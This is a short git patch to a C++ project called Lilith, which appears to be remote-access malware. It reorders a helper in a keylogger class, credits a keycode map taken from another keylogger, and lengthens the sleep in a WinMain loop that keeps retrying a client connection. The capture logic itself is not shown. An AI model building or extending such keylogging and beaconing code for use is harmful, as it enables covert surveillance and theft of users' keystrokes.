From fdb62c648c2d02f6931062f8f874b38a9447bb01 Mon Sep 17 00:00:00 2001 From: Julian Giesen Date: Fri, 15 Sep 2017 00:53:13 +0200 Subject: [PATCH] Added a keylogger --- Lilith/keylogger.cpp | 16 ++++++++++------ Lilith/main.cpp | 4 ++-- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/Lilith/keylogger.cpp b/Lilith/keylogger.cpp index d467540..789a34e 100644 --- a/Lilith/keylogger.cpp +++ b/Lilith/keylogger.cpp @@ -32,15 +32,13 @@ std::string Keylogger::DumpKeys() return keys; } -std::string Keylogger::intToString(int i) { - char buffer[4]; - _itoa_s(i, buffer, 10); - return std::string(buffer); -} -void Keylogger::Logger() + + + +void Keylogger::Logger()//keycode map taken from https://github.com/TheFox/keylogger/blob/master/src/main.cpp { std::ofstream file; @@ -143,4 +141,10 @@ void Keylogger::Logger() file.close(); } } +} + +std::string Keylogger::intToString(int i) { + char buffer[4]; + _itoa_s(i, buffer, 10); + return std::string(buffer); } \ No newline at end of file diff --git a/Lilith/main.cpp b/Lilith/main.cpp index e4aaf52..5dbd527 100644 --- a/Lilith/main.cpp +++ b/Lilith/main.cpp @@ -54,10 +54,10 @@ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdL { while (!MyClient.Connect()) { - Sleep(1); + Sleep(15000); } } - Sleep(1); + Sleep(15000); }